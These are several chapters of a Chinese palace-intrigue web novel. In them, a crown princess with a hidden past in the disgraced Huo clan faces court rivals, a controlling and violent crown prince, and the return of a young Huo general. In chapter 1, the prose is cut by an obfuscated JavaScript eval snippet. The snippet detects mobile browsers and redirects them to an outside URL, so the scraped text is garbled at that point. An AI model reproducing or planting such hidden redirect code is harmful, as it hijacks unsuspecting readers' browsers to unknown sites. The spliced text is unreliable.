《厌东宫》 1. 永春 昨夜晚来风急,雨打梨花落,犹若覆雪,一地苍白。 宣神娩宿醉醒来,不免头痛,命女使将窗打开。 一阵凛冽晨风入内,她不禁打了个冷战,头脑却也清楚许多。这才回想起,她做了一个冗长的梦。 梦中,她重回年少时,与恋人策马于永春郡河畔。彼时金乌西坠,霞光烂漫,池中风荷举。他的眉眼清晰,对她道句:阿娩,好久不见。 只是,梦终归是梦。 青绥在她耳边轻声一句:“太子妃,太子殿下昨夜又宿在西宫了。”将沉浸于梦中的宣神娩唤回现实。 宣神娩轻嗯声,并不打算起床。“今日我要多睡一会,用午膳时再唤我。” “娘娘,从永春郡运来的桂花荔枝到了。这一批荔枝送来极其不易,累死好几批快马。”青绥脸上终于有些笑意。“娘娘,桂花荔枝唯有东宫有,太子殿下真是贴心,知道娘娘爱吃家乡的桂香荔枝,一年都不曾落过。” “放着吧。” 宣神娩知道这批荔枝,累死的不止快马,还有驿卒。如此大动干戈、枉顾人命换来的香甜荔枝,她吃不下。 “这荔枝......一日色变,二日香变,三日则味变......太子殿下命奴亲眼看您吃下。”此时,青绥已面呈惶恐之色。 太子殿下对她说的原话便是:“若是太子妃不吃,你便与剩下的荔枝一同埋进土里。” 冰镇过的桂花荔枝冒着寒气,宣神娩本就因宿醉而胃口不佳,但她为青绥不受罚,忍着凉意,勉强吃下一颗。 也就这一颗,让她的胃蓦然绞痛起来。 青绥将早备好的姜汤忙递过来,给她暖胃。 宣神娩喝下姜汤,蜷缩在被褥中,一觉睡到晌午。 醒来时精神稍稍恢复,她命青绥前来替她梳妆。 镜中女子朱颜不改,只是眼神无光,淡碧色的瞳仁宛若沉闷枯朽的青山,覆着一层散不开的凉雾。 “许久没有梦到他了。”她喃喃自语。随即,眼波一转,命道:“青绥,将年前那批重色蜀锦制成的衣裳拿来。”梦见故人,她有些怀念自己的年少时光。 毕竟嫁入东宫这几年,她不曾着艳丽衣衫。 宣神娩从中择选一身精工所制的青蓝色裙衫,渐变的缎面由深至浅,缀满银光细闪,幽若星河。 裙尾由金丝雀羽织就,行走时迤逦拖地,好似垂落的羽翼。 她有三分之一芜疆血统,生而便是浓颜。介时,她命青绥,为她点上最亮眼的朱唇。 青绥被宣神娩装束后的模样所震惊:肤白胜雪,发如墨缎。几缕微光映过她的脸蛋,眉间那粒天生便有的朱砂愈发血红,衬得她娇妍万分,倾城之姿。 那个郁郁寡欢的太子妃,仿佛在今日,活过来了。 “荔枝宴,我去。”她与郁榷冷战一月有余,今日的荔枝便是郁榷给她的台阶。若她不下,等待她便不止于此。 今年的荔枝宴由西宫侧妃沈馥灵亲自操办,自从西宫成立,新纳侧妃,宣神娩便清闲许多,大小宴会都由她操持。 宣神娩体弱多病,无心操劳东宫各项事宜。郁榷精挑细选,选中沈氏嫡女,将她纳为侧妃,沈馥灵聪慧能干,温柔体贴,替宣神娩分担去一大摊琐事。 宴席之上宾客大半来至,沈馥灵一身月白衫裙,清灵淡雅,被一群名门贵女围在一处,与她们谈笑晏晏。 这些贵女大多是她出嫁前的闺中密友,她们眼神艳羡:“馥灵,不曾想太子竟对你如此宠爱,为你设立西宫,连续半月宿在你那里......外界传言,太子对太子妃一心一意,不曾想,到你这里却是破了戒。” 沈馥灵莞尔一笑,笑得甜蜜。殊不知,这层黏腻的蜜糖之下,是愤怒与窘迫组成的暗黑河流。 郁榷为她设立西宫,却不许她无事时踏足东宫。半月宿在西宫,大半时光都呆在书房,对待她冷漠疏远,如同对待一位普通下人。 刘氏嫡女刘子倩低声凑到沈馥灵耳畔说道:“最近,妹妹听说一则秘闻。当年,离王谋逆,将太子妃俘虏为人质。是太子殿下单枪匹马闯入离王府,将太子妃救出,那一次,太子殿下身中数刀......险些丧命。” 她的嫡妹刘子瑜冷哼声道:“离王嗜色成性,俘虏太子妃......当真什么都未做吗?” “这算什么......听闻咱们太子妃是那个......”刘子倩神秘一笑,凑至沈馥灵耳畔细说一番。随之,沈馥灵眸中渐渐流露出兴奋的光彩。 “太子妃向来高傲,不爱与我们为伍。今日的荔枝夜宴恐怕不来了。”刘子倩话音刚落,便看到殿前走进一抹倩丽身影,引起不小轰动。 嘈杂的殿内逐渐安静,大家不约而同汇聚一声:“参见太子妃。” 许多新贵并未见过这位太子妃的真容,只知她出身低贱,貌似妖孽,独受太子殿下偏爱。 世人将宣神娩视作太子殿下人生中的污点。 太子郁榷,何等人物?悲悯天下,救黎国百姓于水深火热之中。黎国百姓视他生来便要追逐的光,是神明,是救赎。灿若朝光浮水,静如明竹野鹤。便是这样的神仙人物,令黎国待嫁贵女之心无不悬起,春鸾再动。 而宣神娩,则是皇后娘娘出阁前的贴身婢女。 宣神娩见殿内众人神情各异,各怀鬼胎,她无视般走过。 大殿之上,太子郁榷白衣红襟,银冠若雪,衬其金相玉质,矜贵自持。一双柳叶凤眸,温润含光,呈一副怜悯众生相。一枚清透的水晶棱片悬于右瞳之上,遮蔽他右目有疾。 他自殿上走下,亲自来迎他这位太子妃。 “阿娩,你来了。”郁榷铺着薄红的眼尾微挑,目光明亮。 “妾来迟了。”宣神娩见郁榷对他态度好转,想必是满意她的到来。 郁榷把宣神娩的手握在掌心,携领她朝主位走去。 沈馥灵那声“太子殿下安”顿时淹没在喧嚣之中。处心积虑筹备一切,被宣神娩的出现衬得暗淡无光,脸上一阵滚烫。方才,在那群贵女之中积攒的底气顿时一泄而空。 太子殿下,方才甚至没有分给她一个眼神。 郁榷将宣神娩安置在女席最上座,转去男席。 宣神娩只知饮酒,不去交涉,望着底下的喧嚣,意兴阑珊。脸上浮着一层微醺般的粉意,她起身,命道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309689|152322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “青绥,随吾去后院透气。” 后院有不少宾客在夜游赏花,她正准备寻一处清净,却被后随而来的沈馥灵拦住。 沈馥灵并非独身前来,身后跟着刘氏姊妹。 “妾听闻,娘娘是个二嫁妇。在入东宫之前,曾是逆贼霍凝光之妻。”沈馥灵一扫温顺,那些积攒已久的嫉恨呈于面目,凝成“大仇已报”的一抹笑。 逆贼一词犹如发红的烙铁,在宣神娩心上狠狠烫下一印。 她的颊面血色散开,微微发白,碧瞳之中聚起惊惧。霍凝光、逆贼、这些字眼,让她宛若受惊的鸟雀。而惊弓者,脸上呈着得意之笑。 宣神娩被她们几人簇拥在内,旁人以为她们只是围在一处谈笑。 “逆贼”二字,在宣神娩心上荡起风暴。她们的目光像是无形于杀人的利刃,为她编织起带刺的牢笼。 刘子倩道:“娘娘,是真的么?您当真是霍凝光之妻?那娘娘是否形同逆贼同党?” 刘子雯则言:“太子殿下……知道此事么?” 刘子倩继而又道:“霍凝光……霍氏一族如今上不得台面的、没落破败,人人喊打,似过街老鼠,圣上若是知道她与霍氏一族有所瓜葛……” 刘子雯紧逼的面容几乎是要贴在宣神娩脸上:“你出身卑微,唯有沈氏,才配得上明月般的太子殿下!” 刘氏姊妹越说越来劲,丝毫不再顾忌自己的身份,在她们眼里,宣神娩不过是太子殿下一时兴起的玩物。在黎国,唯有她们这些新兴而起的世家大族才拥有绝对的话语权。 宣神娩凝固在原地,她盯着这些“世家贵女”忽而大笑声:“逆贼?谁是逆贼?你么?”她向前走去,一把揪住刘子倩的衣袖:“逆贼......你是逆贼么?”她的碧瞳弥漫着一股狠意,仿佛变了个人。 沈馥灵心想,刘子倩说得没错:宣神娩,不光是个二嫁妇,还有疯疾。 “快,去传太医,太子妃娘娘......疯疾犯了!”沈馥灵音调极高,恨不得让周遭夜游的宾客全部听见。她反扣住宣神娩手腕,佯装搀扶。 “滚。”宣神娩从沈馥灵掌中挣脱,一个巴掌重重落在沈馥灵右颊。 沈馥灵捂着生痛的面颊,惊诧不已,宣神娩平日多病,怎会有如此大的劲力?她气恼,可她却迫于宣神娩的气势不敢还手。 沈馥灵给她的婢女一个眼神。那小婢女悄悄绕至宣神娩身后,狠狠推了一把。 宣神娩的身形猛然倾落,眼看坠地时,直直冲入一个怀抱,一股冷冽的酒味顿时袭来,将她包裹。 此人身姿高大,胸膛格外坚硬,带着温度。蓦然舒展的手臂紧扣住她的肩膀,手背上血管凸起,藤曼般纵横延展。 这层牢笼被不速之客冲散。 刘子倩被来人撞得不轻,若不是两位婢女在后搀扶,她恐怕便要屁股着地。 宣神娩陷在那人怀里,夜色暗淡,她只晃他一眼,便脱口而出:“凝光哥哥......”待她神思具凝,才发觉,此人并非霍凝光。 对啊,人死不能复生,她的凝光哥哥,骸骨已经与金鸣洲的沙砾融为一体。 霍凝光,早就死透了。 2. 解毒 那人与霍凝光不过三分相似,眉宇间凝结的少年意气,让她昨夜的梦似乎成真。 “枝枝阿姊,别怕。”那人在她耳畔沉吟,是少年般清冽的嗓音。 他居然唤她枝枝,她的小字名寒枝,七年前,她最亲近的人,都喜欢唤她“枝枝”。她抬首,一双谓之绝美的深邃眉目与她相视。 沈馥灵与刘氏姊妹这才看清来人。 此人样貌异常隽美,身着玄紫华裳,缀满金饰,承载今夜灯光流转,璀璨耀眼。 无论是着装,还是神态,颇为恣意张扬,浑身攒着一股肃杀之气。 只见他松开怀中的宣神娩,一步一摇晃,朝刘子倩逼近。缀在胸前的金色长流苏,互相碰撞,清脆作响,听得刘子倩心惊肉跳。 对方勾唇一笑,猛然抬手。刘子倩以为他要打她,惧得浑身一抖。谁知那人只是双手交叉于胸前,对她行了一礼,悠然道:“是臣无意冲撞各位贵人,还请贵人们赎罪。” 刘子倩捂着被撞痛的肩膀,责问道:“这里是女眷席位,你一位男宾在此做何?” 若不是此人样貌绝绝,她定会命武婢当场甩他几个巴掌。 “吾乃霍氏……是女娘口中上不得台面的、没落破败,人人喊打,似过街老鼠的……霍氏一族。”他唇角勾起的弧度未落,明明是一双笑意含情目,却瞧得刘子倩浑身不寒而栗。 那双瞳仁底色逐渐加深,终变为黏腻不见底的深红漩涡。 霍羽宴的目光紧抓刘子倩不放:“这位妹妹……霍凝光叛国一案,至今未下定论。女公子莫不是要替圣上决断?” 刘子倩定了定心神,这才想起,如今,圣上有意复苏霍氏的势力。年前,钦点霍氏二房幼子霍羽宴出征南府边境,率先对抗琉国敌军来犯。 霍羽宴年纪尚小,圣上本不报期望。谁知他不等援兵赶到,仅率领三万军队,击退琉国敌军。圣上命他重整霍家军,不出半年,他率领重新编制后的霍家军,屡立奇功,捷报频频传回玉京。不仅攻降琉国,还打通与扶桑国的交通脉络-玉溪道。 霍羽宴此次进京,不日便要封侯进爵。 对照好身份,刘子倩音色微颤,心虚起来:“原是霍小将军......吾方才正与太子妃玩笑。” 宣神娩意识清醒许多。霍羽宴......她记得第一次见他,还是个拿着木剑骑着竹马,喜爱玩闹的稚童。 如今,少年初长成,血肉蓬勃,臂膀坚硬。他不负霍氏一族的教诲,也会上阵杀敌。她望着霍羽宴,一时百感交集。 “娘娘,多年未见,可还记得侄儿?”霍羽宴转头,朝宣神娩望去。方才积攒的戾气褪尽,眼底竟是含起一丝期盼。 宣神娩只是微微点头,她与霍家人,还是不要有太多交集。 郁榷的声音从她的头顶冷冷传来:“霍将军,这里是女眷席位,你在此作甚。”他盯着霍羽宴,面色冷清。没人发觉,他手中盘着的雪白念珠,无声碎裂。 霍羽宴微阖起眼眸,佯装醉意朦胧。“臣不胜酒力,出来醒酒。谁知,无意冲撞各位女娘......臣,这就告退。” 他摇摇晃晃,欲要离去。谁知,又转眸挑起一笑:“太子殿下,方才,听几位女娘在谈论逆贼什么的......若从东宫流传出去,恐是不好......“霍羽宴不顾郁榷愈发冰冷的面色,朝宣神娩望去一眼。这一眼,意味深长。他又道:”唔,忘记了。是臣喝醉了。哪有什么逆贼的言论,不过是皇嫂被各位贵女簇拥在其中,险些摔倒。” 霍羽宴到此,闭口不再言语,他手中摇着金冠上垂下的金链,哼着小曲儿摇晃离去。 郁榷把神不附体的宣神娩揽进怀中。 “阿娩,吾来晚了。”郁榷常常以温合一面示人,此刻的他,平静地注视着沈馥灵与刘氏姊妹。 唯有沈馥灵明白,这是暴风雨来临前,蕴藏波澜的平静。 刘氏姊妹此刻倒是自觉撤于沈馥灵身后,沈馥灵成为郁榷眼里最大的那颗沙砾。 郁榷将宣神娩紧紧护在怀中,温柔抚过她被泪水浸湿的脸颊。 当刘氏姊妹还在仰望太子殿下会如同传言那般,面慈心软,不曾想,沈馥灵的身体如同弃物般,在空中抛出一道骇人弧线。 郁榷这一脚,将沈馥灵踹向五米远,没有给她半分喘息的机会。 “让她在此反省。” 郁榷的言外之意是,不许太医医治,放任她在此。 远远等待瞧宣神娩笑话的名门贵女,无一不惊得面色发白。 “你们几个......西宫桃树刚植,缺点肥料。”那些围观贵女,凡是家世五品一下的,全部被羁押到西宫,赐死。 “琉国刚刚归顺我黎国,你们姊妹二人,嫁去琉国,倒也为黎国立下功劳。吾便不与你们计较今日的言论。” 刘氏姊妹互相依着瘫软在地,她们联想到自己今后在琉国的命运,终是哭成一团。 郁榷那张沉默阴郁的脸上,裂开一道缝,落在宣神娩脸上,透出几分心疼。 宣神娩每一根骨节,每一寸肌肤都在颤抖。明明是暖春之夜,却寒骨战栗,宛若刚从冰水中捞出一般,失去常人该有得温度。 她没 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被沈馥灵捧在心上的神明蓦然崩塌了。 “吾当初纳你为侧妃,便是要你替阿娩担去东宫的杂务。为你设立西宫,便是不想脏了东宫之地。本以为你是懂事之人,却总要自寻死路。” 郁榷话毕,抱起宣神娩离去。 东宫的寝殿之中,宣神娩缓缓醒来。 “枝枝,你方才,唤了霍凝光的名字?”郁榷笑得温柔,手指缓缓勾起她凌落在额前的青丝。 宣神娩知道她在郁榷面前是撒不了谎的。 “那孩子,与他叔叔确有几分相似,妾一时......失言认错。” 郁榷的笑意逐渐冷却,撩起瘦白的指,由宣神娩的下巴抚至她纤细的脖颈。最终,温柔的爱抚变成禁锢的利器……他一手钳制住她的喉咙,漆黑瞳仁中弥漫出森森冷意。 他未下死手,只是一点点遏紧,直到她不能呼吸。 宣神娩满脸充血,说不出话来,眼眶涨出泪,啪嗒,啪嗒滴落在郁榷手背上。 她没有反抗,任凭郁榷发狠。 甚至在想,死吧,死了,她便可以去见她想见的人。 郁榷恰逢时宜地松开她的喉咙,将她反扣于身下。看她目光依旧清倔,吻便重重袭了下来。 郁榷在她这里,从来谈不上冷静自持。他是天下的佛,亦是她的魔。霍凝光是宣神娩心中的刺,亦是他的不可说。 这一夜,东宫夜灯长亮,西宫桃花越肥。 3. 天问 第二日,宸霜皇后召宣神娩入宫。 凤栖宫春桃开得烂漫,似粉云袅袅。几名女婢正在树下洒扫落花,趁机小声闲谈。 “太子妃曾是宸霜皇后嫁于圣上前的贴身婢女......太子殿少年时,对她一见钟情,明知身份云泥之别,却不顾一切向陛下求娶......这些年,陛下年迈,拗不过太子殿下,皇后娘娘又赐她宣姓,认她为义妹,这才名正言顺嫁入东宫。” “太子妃当真是命好。出身与我们一般卑微,却深受太子殿下青睐,跻身一跃,成凤为凰。” “你瞧我今日好看么?” “好看作何用,太子殿下今日又不来。” “哼,谁要太子殿下瞧了?” “你是说......霍小将军!他怎得又来?自从霍小将军回京,三天两头,便总是往皇后娘娘这边跑!” “霍小将军为人幽默风趣,极好亲近。与太子殿下不同......太子殿下看似和善,却不似表面那般......你怕是没见过太子殿下冷脸时的模样。有次,他与皇后娘娘起了争执......” “有人来了!”两位小婢女的谈话就在此刻戛然而止。待看清来人,她们立即行礼:“太子妃安。” 年岁似乎从未苛待过这位太子妃,入宫七年,容颜不改。五官浓秀,眉间有粒红痣,将瓷白的脸蛋儿映衬得光艳。一双夷族人特有的碧清眼眸,透如琉璃,幻如仙湖。 一粒小石子从高处落了下来。也是这一粒小石子,让宣神娩看清前方的路,有一滩残花烂泥,她险些踩上。 “枝枝阿姊,又见面了。”烂漫桃花丛中,少年衔花瓣斜卧于枝干之上。绝色容颜,亦正亦邪,笑看她的模样,似比桃花还要灼灼,还要热烈。 少年与她太不相同,带着鲜活的生命力。 他的着装不似昨夜那般浮夸。一身玄色春衫,墨发高高挽起,十分爽利。鬓边簪着一只金蝶耳饰,蝶翼随风振翅,灵动熠熠,照亮他半边眉眼。 “七年未见,你长大了。”宣神娩俨然一副长辈口气。她记得霍羽宴幼时便跟个皮猴儿似的,整日不是爬树便是翻墙,惹下不少祸事。 “枝枝阿姊,七年未见,还似初见般好看。”霍羽宴眼梢含笑,仿佛漾着暖风。 “你应当唤我,太子妃。”从前,她是霍家养女。按辈分,霍羽宴唤她阿姊自是没有问题,可如今,她这段过往,已经隐秘在时光尘流中。 霍羽宴自桃花树上一跃而下,犹若新雨后,一阵凉爽山风,浩浩荡荡穿至宣神娩身侧。 他认真盯着宣神娩,眸光明亮:“臣从不认什么太子妃。姑姑,你当年随我大伯在南府永春郡驻扎多年,彼时,是霍家军中最漂亮的女将军。” 霍羽宴每言一句,宣神娩便心惊一刻。她曾是霍氏养女的事情不可谈,这小子却故意提起。 她佯装不悦,语气颇为严厉:“陈年旧事,莫要再提。若有他人听见,吾与你都难以有好下场。” 霍羽宴瞧宣神娩微蹙眉心,一副拘谨紧张的模样,反倒勾唇一笑:“阿姊,臣有一事相求。” 宣神娩先是环顾周遭环境。彼时,正值傍晚,桃花林深处雾气潮湿,她沉默着朝雾茫茫处走去,霍羽宴十分识趣,随她走去。 “当初,霍家军七营中的计都营,善通一种绝妙阵法,名天问。如今,懂得此阵法的霍家人,唯有枝枝阿姊。” 霍羽宴似乎很会拿捏人心,那句“霍家人”,叫她心肉一拧。 “天问阵,乃兵家阵法之最玄妙,至今无敌可残破。臣凭借大祖父当年留下的残破兵书,也只能效仿一二。若姑姑愿意,可否赐教于臣进京所带的黑凰营。“ 宣神娩唇角滑过抹冷笑,觉得霍羽宴是在妄谈。且不说此阵法需她亲临指导,还要时日加持,非十天半月可成。她的一举一动皆在郁榷监视下,怎可亲身去指导黑凰营。 霍羽宴道出宣神娩所忧之处:“臣自会为您想办法。若娘娘愿意,三日后,羽宴在此等候。” 宣神娩摇头,直接拒绝:“吾远离战场多年,早已忘却用兵之法。以后,莫要再唤吾阿姊。吾是太子妃,是当今太子殿下的唯一正妻。” “太子殿下的心似乎并不只属娘娘一人。可见娘娘当初的抉择,并非正确。”霍羽宴隔着几枝春桃望她,目光凝落在她身上,好似要一点一点将她穿透。 “你是借机来嘲讽我?嘲讽我弃霍氏养女身份,转身登入东宫,成为太子妃。”宣神娩冷笑声:“有时候活着,却也不必那些死去的好过多少。” “太子妃娘娘,您误会臣了。臣的意思是,娘娘将来或许有更好的选择.....一切,都随您心意。您若不寻臣,臣自会再寻娘娘。”霍羽宴随手摘下一枝春桃,轻轻插入她鬓边。 宣神娩秉持着仪态,掩去心中一丝讶然:“你......还如幼时一般调皮。” 那时,霍羽宴个子还小,坐在树枝上,采了一兜子的花瓣。待她与霍凝光经过,纷纷落落洒下来,欢快地鼓掌,说道:“表哥娶亲喽!” 待宣神娩回过神来,霍羽宴已经离去,留下一抹修长挺拔的背影。她轻抚鬓边桃花,花瓣柔软,心绪似乎也跟着柔软许多。 * 凤栖宫中焚着药物,烟雾弥漫。宣宸霜斜卧于榻上,待宣神娩走近,她黯淡的眸子终是燃起些光亮。 “阿娩,你来了。”宣宸霜轻咳两声,即便她今日特意梳妆,涂了口脂,依然掩不住满脸疲态。 “妾以为娘娘又是装病。”宣神娩着手把上宣宸霜的脉。 “喜脉?”宣神娩把脉的手微颤。 皇帝已是花甲,居然还有此能耐? “阿娩,这个孩子,不姓郁。他的父亲.......姓霍。”宣宸霜话未说完,便被宣神娩捂住口鼻。 宣宸霜望着她,一滴微热的眼泪顺着眼眶滴落于宣神娩掌心。她挪开宣神娩的手掌,颤声说道:“阿娩,周遭没有他人耳目,你且放心。这个孩子,如今它是霍氏长房唯一能够延续下的血脉。无论如何都要保住。能帮帮阿姊么?你医术高超,这个孩子交给别人,吾不放心。” “霍氏长房?”宣神娩眸中的诧异愈发浓烈。 七年前,霍氏长房次子霍凝光疑似叛国。念霍氏一族于黎国攻高恩重。免去霍氏二房的罪过,贬为庶民,流放于雪州。 霍氏长房一脉则被圣上监禁于雪州阴山之上,不出半年,全部死于天灾,长房血脉彻底凋零。 宣宸霜嫁于圣上之前,与霍衔月是青梅竹马。 “当初,霍氏长房遇难,你衔月阿兄装疯,躲过一劫。如今,他加入江湖势力。去年,我在灵云 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“母后,这胎像还算稳。不过,你体质大不如从前,还是要小心为妙。待妾回东宫,为你亲手熬制几副安胎药。”这个孩子,宣神娩也格外珍重。 宣神娩嘱咐:“娘娘最好不要再与衔月阿兄见面。圣上心细于发,耳目众多,若他发觉......”郁榷的狠辣手段,完全传承于他的父亲。 果不其然,半个时辰后,郁榷莅临凤栖宫。 郁榷平日嫌少踏足皇后宫中,宣神娩若来,他必定是要亲自带她回去。他不喜宣宸霜,从不进殿,只在殿外驻足等候。 宣神娩早已修整好情绪,她知郁榷不喜她与皇后见面,此时佯装乖顺,主动拉紧他的手掌。 “手这般凉。”郁榷眉心泛起褶皱,将宣神娩的手掌捂在自己胸口。 周遭的婢女还是第一次见太子殿下与太子妃合体,忍不住感叹,太子妃与太子殿下真是般配。 “来本宫怀里。”郁榷满意宣神娩的主动,将她揽进怀中,微微一笑,眼眸中溢出罕见的温柔。 温存时刻,一声突兀的“太子哥哥!”在二人身后响起。 郁榷脸色蓦然一冷。 霍羽宴对着二人面露惊喜,绽开一笑,朝气逼人。 郁榷瞧着怀里的宣神娩,小鸟版蜷缩成一团。他心情大好,对霍羽宴笑着点头应对,没有在荔枝宴时那般疏离。 “太子哥哥,何时邀吾去东宫?听闻东宫后山新发现一座寒池,名月桂池。对于习武之人,大有益处!萧小侯爷去过几次,修为竟增长之快。” 郁榷发觉霍羽宴似乎未脱孩子心性,放下几分戒备:“待你册封完毕,吾必定邀你去东宫赏玩。” 霍羽宴前脚已踏入殿内:“臣先去找姨母了!听闻她这几日抱病,臣带了一些良药过来。” 郁榷淡淡道:“难得你有孝心,去吧。” 宣神娩的目光一直停驻在郁榷身上,她不去看霍羽宴,回想起那夜郁榷对她的惩罚,依然含有余悸。 待霍羽宴离去,郁榷若有所思道:“转眼,他便长大了,眉眼,与他叔叔还有几分相似。” 宣神娩知道郁榷在故意试探她。她敛眸,淡绿色的眸子掠过一抹微光:“殿下,妾想喝桂花银耳羹。” 郁榷见她不想答,也颇为满意。用长指勾勾她的下巴,道:“馋猫。” 4. 枝枝 接下来几日,郁榷忙于政事。夜时宿在东宫。而西宫,则时刻由太子府兵把手。沈家派亲眷来探望沈馥灵,统统被挡了回去。 荔枝宴那档子事没有传出东宫之外,可沈家却有猜测。沈尚书试图从郁榷口中探出女儿近况,最后也是不可得知。 郁榷忙于祭典一事,宣神娩白日稍得空闲,宣宸霜一召见,她便趁此进了宫。 凤栖宫内。 “这一胎胎像不稳......您年轻时久经战场,身体匮缺,若想保住,只食药材保胎无多大益处。”宣神娩面色凝重,她将话说得委婉一些。这一胎保住的几率,只有不到三成。 “可用他法一试。只是过程痛苦,多有风险。甚至,这一胎过后,娘娘将再无生育可能。” 宣神娩本不想用此法,可宣宸霜对这个孩子满怀殷切的希望......这不只是宣宸霜的希望,也是霍氏长房的希望。 “什么法子?”宣宸霜神情担忧,手抚小腹,她无比珍重这个孩子。 宣神娩沉默片刻,说道:“用蛊。”她被霍麒夫妇收养之前,在义城长大,是夷族血统。 义城在被黎国收编之前,为夷国。夷国子民善用蛊术,宣神娩自然也会。 宣神娩挽下宣宸霜的衣袖:“这几日,先使用妾为母后准备的保胎丸。此蛊需要一种稀有药引.....还请母后备上几名高手,最好是,玄阶级别以上的。” 宣宸霜讶然:“为何?这药引如此难得。”居然需要动用玄阶以上的高手。 宣神娩解释:“玉京郊外的雷鸣山上有种凶兽,名岢岐。此蛊,需以岢岐的胎盘为引。” “好。”宣宸霜已经开始在脑海里筛选合适人选。 “姨母!”轻快的少年声自殿外传来,宣宸霜朝殿门看去,绽开一笑。 霍羽宴自踏入这殿门,寂静的气氛倘若喧嚣起来。他风风火火行礼,快步行至宣宸霜身侧。 宣宸霜瞪他一眼:“今日刚刚加封,仗着陛下对你的恩典,未脱朝服,便赶来至此。” 少年一身绛红朝服,衬得他肤白如玉,气度敞亮,与往日相比,少去几分戾气。 “太子妃娘娘,我说过,我们很快便能再见面。”霍羽宴望向宣神娩,笑意真挚,含满少年天然的意气。 宣宸霜想起方才寻高手的事:“不如让羽宴帮着去寻那药引。军中高手如云,对付凶兽胜算更大。若用吾的人,难免引起帝君怀疑。” 宣宸霜与霍羽宴说清缘由,霍羽宴立即应下。“姨母的事情,我定当亲自去取。” 宣神娩捻茶的手一顿,将他打量:“予幼年体弱,不曾想,这些年,功力进步如此之快。” 她记得霍羽宴是个药罐子,总爱生病,因此启蒙也晚。霍二夫人爱他如命,在十岁之前,是个金枝玉叶般的人儿。 见霍羽宴允诺,宣宸霜定下心神:“有你去取,吾更放心。” “太子妃娘娘,太子邀臣过几日,去参加他的生辰宴。介时,臣会找机会,将药引亲自送到娘娘手上。” 霍羽宴每次唤她,太子妃娘娘这五字总是咬字颇重,仿佛故意提醒她那日对他的“谴责”。 宣神娩垂下眼眸,摆弄着手中的药包:“你若取得药引,还是交给皇后娘娘较为妥当,东宫戒备森严,你与吾有任何交流,都逃不过太子的眼。” 太子郁榷,决不允许她与霍氏有密切来往。 宣宸霜点首,她赞同宣神娩:“羽宴,陛下有心复兴霍氏,不过是为平衡凌氏、纪氏两方势力,切莫恃宠而骄,需隐其锋芒,小心行事。去东宫参宴,予最好与太子妃不要有过多交流。” 霍羽宴漫不经心道:“七年前,霍氏掌管南府十三洲七郡。如今,陛下重封我为南府郡王,重镇南府。受邀去东宫喝他一杯茶,太子殿下岂是小人度量?” 宣神娩用最平静的语气回应:“霍小将军,你不怕,吾是怕的。” 霍羽宴咽下那口热茶,单手持着茶盏,噗嗤一声笑了起来。“娘娘定然以为臣还是儿时的闯祸精!”介时,他的目光投向宣神娩脖颈间,红色指印在丝带的遮掩下若隐若现。 霍羽宴的气场蓦然冷却下来,红瞳弥漫起冷意:“太子妃娘娘,臣不会让您为难。” 宣神娩微微摇头,没有再解释。郁榷手眼通天,在东宫,没有任何细节能逃过他的眼。 宣宸霜轻叹口气:“羽宴,你是霍氏的希望,无论如何,都要保证自己的安全,知道么?” 霍羽宴踱步至窗前,随手拿起小竹筒,舀上清水,去浇灌那株半开月季。他听到宣宸霜对他的嘱咐,微微一笑:“姨母别担心,我自有分寸。” 他轻抚那些娇弱的花瓣,话头转向宣神娩:“太子妃娘娘,前些日子,拜托您的那件事,考虑的如何?” 宣神娩停下攥写药方的手,朝少年撇去:“吾平日出东宫不便,实在难以应予重任。” 霍羽宴摘下漆黑的皮制手套,露出一双比肤色略要白的手。手背上青筋蔓延,脉络分明,布满大大小小的伤痕。削瘦的指节轻轻拨动花瓣,他沉吟一句:“来日方长。” 这四个字宛若猫儿扬起的胡须,拂过她面颊,微痒。 宣宸霜没有询问她们二人之间的秘密,打声哈欠,恹恹道:“吾困了,你们二人若无事,便各自回宫。在吾这里带着,待着也无趣。”转头,她又撑起精神,想起一事,对霍羽宴道:“羽宴,你养得那株红萤草,开花了。” 听到“红萤草”这三字,宣神娩猛然抬起头,恰逢与霍羽宴对视。 霍羽宴从她眼中捕捉到一星光亮,语气欢快几分:“太子妃娘娘,这株红萤草得来不易,您要随我去看看么?” 宣神娩点头:“好。”她之所以痛快答应,一是真的想瞧那红萤草,二则是因为她有事要与霍羽宴单独商讨。 去往书阁的路上,霍羽宴走路带风,兴奋的情绪在眼里缀成星点。“红萤草在书阁二层养着,那里能够沐浴到充足的阳光。我在军营养育许久,都不曾开花,在姨母这里放置几日,便开花了。” 通往书阁二层的楼梯偏陡,宣神娩无意踩到自己的裙摆,身子往后一倾,纤细手腕隔着薄纱,被霍羽宴紧紧握住:“枝枝阿姊,小心。” 这声枝枝阿姊仿佛是霍羽宴潜意识喊出的。霍羽宴还算守礼,见她立稳,默默松开她的手腕。 宣神娩与他每次接触,心跳便会蓦然加速。她生存的规则是郁榷给的。与霍羽宴每一次亲密接触,即便没有特殊含义,甚至是对方好心的帮扶,都是在触碰这份规则的底线,让她下意识恐惧。 这一株由霍羽宴从南府亲自带来的红萤草,装置在透明色的内,下层是湿润银土,上层铺满彩色琉璃的小石子。 红萤草酷似风铃草,白日看上去没有什么特别。夜时,则会发出星星点点的红色光芒,犹若火焰一般。 宣神娩小心到不敢用手去触碰,她静静望着它,望了许久。 忆起当年,霍凝光对她求婚那日,曾用红萤草编成一整束花环,为她簪在发上。 霍羽宴的声音自她脑后传来:“红萤草成活率极低,需要永春郡扶光山特有的银土才可培育。此战,重获南府管辖权,扶光山已经解封。进帝都领赏之前,我特意去红萤山,寻得当年那一片红萤草,只可惜,唯有七株尚且存活。臣带着其中三株一路北上,抵达鹤川郡时,便只剩这一株。" 宣神娩的脸上终于浮动起一丝笑意,她轻轻道:“它很顽强。” “不曾想,幼时见过一整片红萤草,再后来,便再也没没见过那般景象。”霍羽宴言语间皆是可惜之意。 宣神娩则一盆冷水浇下来:“旧人旧物,不该再执着。” 霍羽宴盯住她秀美的侧颜,认真回忆:“幼时,那片红萤草,是你带我见的。”他眼里也有一束微光,独独追随着她。 